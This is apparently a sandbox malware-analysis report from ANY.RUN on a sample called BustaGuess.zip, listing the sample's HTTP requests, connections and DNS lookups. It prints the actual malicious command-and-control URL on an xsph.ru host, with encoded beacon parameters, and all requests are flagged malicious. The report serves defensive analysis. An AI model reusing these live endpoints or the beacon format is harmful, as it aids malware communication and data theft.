n9GSThkQ65UdJRUSBJ0UWFlTFl0dBRkTyAzUOBnQTtkTSZ0Ssp0MiRkQTt0UoNkYsJlbipkSp9UaVdlYoVTVWFlTrl0cJl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0IjYrVjMi1UOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUawIjYrRWbiBHdFl0aWdEZwVzVWdGMDl0aWdVYtxmMZxmQzM2ZRNjYPpUaPl2YtNmdKNETp1EVPdHND1Ed3NkTyUEVOVXRU5UavpWSqlzRil2dpl0QktWS2k0UllnUuJWM5ITWpdXaJtWNXl1ck1mYGpUaPlGNyIGckdlW5p0QMlGNyI2a1IjYNpUaPl2aIRGcO1WSzlUeNdXSqxkeRpWT1dGVPhHNT5ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpdmaNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiI4EWYxEzY2IDO5IGNzYTMygTNjhjMxMTOkN2NyY2N0IWZlNzNmdjNyIiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
—
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&b3d81afe923d544d0e3a6180e6ff2f36=0VfiIiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiIjRmYzATY4UTNmdTO1UTN0MzYkNjZmBjY4AjMklzMiN2Y3YzN3YWZhJiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
—
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&b3d81afe923d544d0e3a6180e6ff2f36=0VfiIiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiIjRmYzATY4UTNmdTO1UTN0MzYkNjZmBjY4AjMklzMiN2Y3YzN3YWZhJiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
—
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&522043270ed0d2a02852be00c8e2ebe3=d1nI1ADMyQmMlhzNjFjZxIGZihTZiJ2MyIWOlZ2MzQTMyM2YxQGM4UjZiJiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W&b3d81afe923d544d0e3a6180e6ff2f36=QX9JiI6IiNzgTY2ADM3ADMlhDOwI2YhJmN1UmYyIDMlFTZkN2Y0ICLiUDMwIDZyUGO3MWMmFjYkJGOlJmYzIjY5UmZzMDNxIzYjFDZwgTNmJmI6ICN3ImMhVWZwEmYiNWN3QDO4EWNmVTNmRWMwcDMjNzN1ICLiUTYjJzMxIWZ0Q2YmNGOmR2M1cTY1YzYiFDZwEWY0YGOiNGMmVGO5QmI6ISZxMWMhlTZjBDZ5QjNxAjZkhjMkJTM1gTMhFzMxYmMiJyes0nI5EjbJ9SSp9UaRpWWzUVbZpmVX1kaWpXTyEkeOtGbU1kaKd0TtJ1ROJTWy0EeNRlW5VFVNNTWU1ENZd0TzcmaJNXSD1UavpWSpJlaOpGZUlVaWdlWrJERaxmWXlFeNd0TwklaaJzZUlVaG1WT5F1VPlXSqlVMjRVW0UEValmS5VmNJNVWwY0RSBDaYpVa3NlT2k0QkFTOXpFdsdkV3Z1VaNnTsl0cJNlWyw2RkpmRrlkNJl3YxIFWZBjTWVGMs1GZwJ1MZJkSDxUaJl2TpN2MitWNXFGWSFTUCp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzl0ULNTWE1EMJR0Sn9GSThkQ65UdJRUSBJ0UWFlTFl0dBRkTyAzUOBnQTtkTSZ0Ssp0MiRkQTt0UoNkYsJlbipkSp9UaVdlYoVTVWFlTrl0cJl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0IjYrVjMi1UOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUawIjYrRWbiBHdFl0aWdEZwVzVWdGMDl0aWdVYtxmMZxmQzM2ZRNjYPpUaPl2YtNmdKNETp1EVPdHND1Ed3NkTyUEVOVXRU5UavpWSqlzRil2dpl0QktWS2k0UllnUuJWM5ITWpdXaJtWNXl1ck1mYGpUaPlGNyIGckdlW5p0QMlGNyI2a1IjYNpUaPl2aIRGcO1WSzlUeNdXSqxkeRpWT1dGVPhHNT5ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpdmaNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiI4EWYxEzY2IDO5IGNzYTMygTNjhjMxMTOkN2NyY2N0IWZlNzNmdjNyIiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
—
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&522043270ed0d2a02852be00c8e2ebe3=d1nI1ADMyQmMlhzNjFjZxIGZihTZiJ2MyIWOlZ2MzQTMyM2YxQGM4UjZiJiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W&b3d81afe923d544d0e3a6180e6ff2f36=QX9JiI6IiNzgTY2ADM3ADMlhDOwI2YhJmN1UmYyIDMlFTZkN2Y0ICLiUDMwIDZyUGO3MWMmFjYkJGOlJmYzIjY5UmZzMDNxIzYjFDZwgTNmJmI6ICN3ImMhVWZwEmYiNWN3QDO4EWNmVTNmRWMwcDMjNzN1ICLiUTYjJzMxIWZ0Q2YmNGOmR2M1cTY1YzYiFDZwEWY0YGOiNGMmVGO5QmI6ISZxMWMhlTZjBDZ5QjNxAjZkhjMkJTM1gTMhFzMxYmMiJyes0nI5EjbJ9SSp9UaRpWWzUVbZpmVX1kaWpXTyEkeOtGbU1kaKd0TtJ1ROJTWy0EeNRlW5VFVNNTWU1ENZd0TzcmaJNXSD1UavpWSpJlaOpGZUlVaWdlWrJERaxmWXlFeNd0TwklaaJzZUlVaG1WT5F1VPlXSqlVMjRVW0UEValmS5VmNJNVWwY0RSBDaYpVa3NlT2k0QkFTOXpFdsdkV3Z1VaNnTsl0cJNlWyw2RkpmRrlkNJl3YxIFWZBjTWVGMs1GZwJ1MZJkSDxUaJl2TpN2MitWNXFGWSFTUCp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzl0ULNTWE1EMJR0Sn9GSThkQ65UdJRUSBJ0UWFlTFl0dBRkTyAzUOBnQTtkTSZ0Ssp0MiRkQTt0UoNkYsJlbipkSp9UaVdlYoVTVWFlTrl0cJl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0IjYrVjMi1UOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUawIjYrRWbiBHdFl0aWdEZwVzVWdGMDl0aWdVYtxmMZxmQzM2ZRNjYPpUaPl2YtNmdKNETp1EVPdHND1Ed3NkTyUEVOVXRU5UavpWSqlzRil2dpl0QktWS2k0UllnUuJWM5ITWpdXaJtWNXl1ck1mYGpUaPlGNyIGckdlW5p0QMlGNyI2a1IjYNpUaPl2aIRGcO1WSzlUeNdXSqxkeRpWT1dGVPhHNT5ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpdmaNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiI4EWYxEzY2IDO5IGNzYTMygTNjhjMxMTOkN2NyY2N0IWZlNzNmdjNyIiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
200
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&038a65fde06f43ad5cc42ed8085943e6=d1nIkJ1VaBjSYlFMOhUS1xmMaFDeHV1ZwMUSOZURJNTVq9UNFp2TzEUaNlXQq1kdRpWT21keXJiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiI2EzMwImNhZmZwIGMwQTY4QDMyYDZ1MmNhdDZ0czY3EzM0UDNxATZ3IiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
text
104 b
malicious
1192
csrss.exe
GET
200
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?mufKPvnJNWKnJnk2CKTQVNxMjR=sVL9WsvZObQXPNcXVhhgF4&7jnHdZ7Tl8E5xBWx4YNVa=wDD3zboCulysNZtkSARIpZLS&1f193d62ec9c62635c7a577ab8036ca6=ab400134a35ae28afb0d0ba5228d6dfd&dc8ff4a64801661ad57705042575a3b4=wNwcTM4EDN1kTM4Q2MjNWNlJDOwUDNlJ2YhBDMyQWY1IGO0MzNlljZ&mufKPvnJNWKnJnk2CKTQVNxMjR=sVL9WsvZObQXPNcXVhhgF4&7jnHdZ7Tl8E5xBWx4YNVa=wDD3zboCulysNZtkSARIpZLS
RU
text
2.09 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1192
csrss.exe
141.8.192.169:80
a0646788.xsph.ru
Sprinthost.ru LLC
RU
malicious
—
—
141.8.192.169:80
a0646788.xsph.ru
Sprinthost.ru LLC
RU
malicious

DNS requests

Domain
IP
Reputation
a0646788.xsph.ru
  • 141.8.192.169
malicious

Threats

Found threats are available for the paid subscriptions
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
BustaGuess.zip